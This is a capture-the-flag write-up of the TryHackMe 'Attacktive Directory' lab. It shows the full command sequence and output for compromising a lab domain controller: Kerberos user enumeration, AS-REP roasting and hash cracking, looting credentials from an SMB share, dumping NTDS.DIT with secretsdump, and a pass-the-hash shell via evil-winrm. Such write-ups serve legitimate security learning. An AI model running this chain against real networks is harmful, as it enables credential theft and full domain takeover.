TryHackMe: Attacktive Directory Writeup

Primer:

If this is your first time, as was mine, the above resources provide a decent overview of the stuff we are going to deal with.

1. Deploy

Follow the steps!

2. Install Tools

Install and follow the steps listed. Add the below too as well. Check their GitHub for more information

  • Kerbrute
  • evilwinrm

3. Enumeration: Basic Scanning

Let’s kick off things with our nmap scan.

┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ nmap -sC -sV -A 10.10.230.36
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 23:18 EDT
Nmap scan report for 10.10.230.36
Host is up (0.20s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-21 03:19:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2021-05-21T03:19:46+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2021-05-20T03:01:57
|_Not valid after: 2021-11-19T03:01:57
|_ssl-date: 2021-05-21T03:19:55+00:00; +4s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-05-21T03:19:46
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.38 seconds

What tool will allow us to enumerate port 139/445?

enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems. It attempts to offer similar functionality to enum.exe formerly available from www.bindview.com. Source

NOTE: This tool is mentioned, but never used.

What is the NetBIOS-Domain Name of the machine?

Search in the nmap results.

What invalid TLD do people commonly use for their Active Directory Domain?

This is a good questions, very interesting answer is present here

Simply promoting a {xyz.mmm_secure_extension} domain will not secure your domain and you will have a false sense of security that your Active Directory is safe.

4. Enumeration: Kerberos

Using the tool kerbrute.

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication. It is designed to be used on an internal Windows domain with access to one of the Domain Controllers. Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Let’s also add the line 10.10.99.177 spookysec.local (separated by a tab) to the /etc/hosts/ file. It looks like so:

┌──(kali㉿kali)-[~/Desktop/tools]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.99.177 spookysec.local
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Run:

┌──(kali㉿kali)-[~/Desktop/tools]
└─$ ./kerbrute userenum --dc spookysec.local -d spookysec.local /tmp/userlist.txt -t 128
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 05/21/21 - Ronnie Flathers @ropnop2021/05/21 00:58:04 > Using KDC(s):
2021/05/21 00:58:04 > spookysec.local:88
2021/05/21 00:58:04 > [+] VALID USERNAME: james@spookysec.local
...
{truncated ;)}
...
2021/05/21 00:59:57 > [+] VALID USERNAME: ROBIN@spookysec.local
2021/05/21 01:00:38 > Done! Tested 73317 usernames (16 valid) in 154.456 seconds

What command within Kerbrute will allow us to enumerate valid usernames?

check the -h flag if you are new to any tool.

What notable account is discovered? (These should jump out at you)

Admin accounts are always interesting. Let’s call it user1 in the rest of the writeup.

What is the other notable account is discovered? (These should jump out at you)

Second most delicious account names. Let’s call it item2 in the rest of the writeup.

5. Abusing Kerberos

After the enumeration of user accounts is finished, we can attempt to abuse a feature within Kerberos with an attack method called ASREPRoasting. ASReproasting occurs when a user account has the privilege “Does not require Pre-Authentication” set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.

Impacket has a tool called “GetNPUsers.py” (located in impacket/examples/GetNPUsers.py) that will allow us to query ASReproastable accounts from the Key Distribution Center. The only thing that’s necessary to query accounts is a valid set of usernames which we enumerated previously via Kerbrute.

From the room page

┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ python3 GetNPUsers.py spookysec.local/{user1} -no-pass
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for {user1}
${hash type}${user1}@SPOOKYSEC.LOCAL:{salt}${here used to be the hash}
┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ python3 GetNPUsers.py spookysec.local/{item2} -no-pass
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for {item2}
[-] User {item2} doesn't have UF_DONT_REQUIRE_PREAUTH set

So let’s go for {user1}. Here’s the hashcat documentation.

Using hashcat,

┌──(kali㉿kali)-[/tmp]
└─$ hashcat -m {find the mode using the link above} hash passwordlist.txt --force
...
${hash type}${user1}@SPOOKYSEC.LOCAL:{salt}${here used to be the hash}:{password :D :D :D}
...

As voila! We have the password for {user1}!

NOTE: We get the below error, if the --force flag is not there.

* Device #1: Skipping hash-mode {the mode used} - known CUDA/OpenCL Runtime/Driver issue (not a hashcat issue)
You can use --force to override, but do not report related errors.

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

{user1}

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Again, look at the documentation!

Now crack the hash with the modified password list provided, what is the user accounts password?

{success}

6. More Enumeration

Since we now have the credentials for the {user1}, let us go for smb.

┌──(kali㉿kali)-[/tmp]
└─$ smbclient -L 10.10.99.177 -U spookysec.local/{user1}
Enter SPOOKYSEC.LOCAL\{user1}'s password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

None except one really stands out.

┌──(kali㉿kali)-[/tmp]
└─$ smbclient //10.10.99.177/{i wonder which share!} -U spookysec.local/{user1}
Enter SPOOKYSEC.LOCAL\{user1}'s password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Apr 4 15:08:39 2020
.. D 0 Sat Apr 4 15:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 15:08:53 2020
8247551 blocks of size 4096. 3630842 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

As its too easy!

┌──(kali㉿kali)-[/tmp]
└─$ cat backup_credentials.txt
{looks like a decoded string ... I wonder which method was used to encode}

Using CyberChef, {item2}@spookysec.local:{another password!}

7. Domain Priv-Esc

┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ python3 secretsdump.py spookysec.local/{item2}:{yeee hawww}@10.10.99.177
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
{there were a lot of hashes here. Removed because they were taking too much space ;) }[*] Cleaning up...

What method allowed us to dump NTDS.DIT?

Check the output of the script we ran. Usually, interesting information is given in a line, starting with [*]

What is the Administrators NTLM hash?

Same as above. Use the dumps first line and use the structure mentioned in the info line.

What method of attack could allow us to authenticate as the user without the password?

pass the hash

We can apparently directly send the hash to auth, instead of first cracking it. Quite convenient, aye!

Using a tool called Evil-WinRM what option will allow us to use a hash?

When in doubt, always check the -h command!

┌──(kali㉿kali)-[~/Desktop/tools]
└─$ evil-winrm -i 10.10.99.177 -u administrator {nice flag here} {admin's NLTM hash}
Evil-WinRM shell v2.4Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents>

And we are in. Success!

*Evil-WinRM* PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/17/2020 4:04 PM a-spooks
d----- 9/17/2020 4:02 PM Administrator
d----- 4/4/2020 12:19 PM {item2}
d----- 4/4/2020 1:07 PM backup.THM-AD
d-r--- 4/4/2020 11:19 AM Public
d----- 4/4/2020 12:18 PM {user1}

From here, take the flags present at the Desktop of each of the users.

GG room, very fun. Lots to learn!

Originally published at https://chaudhary1337.github.io.

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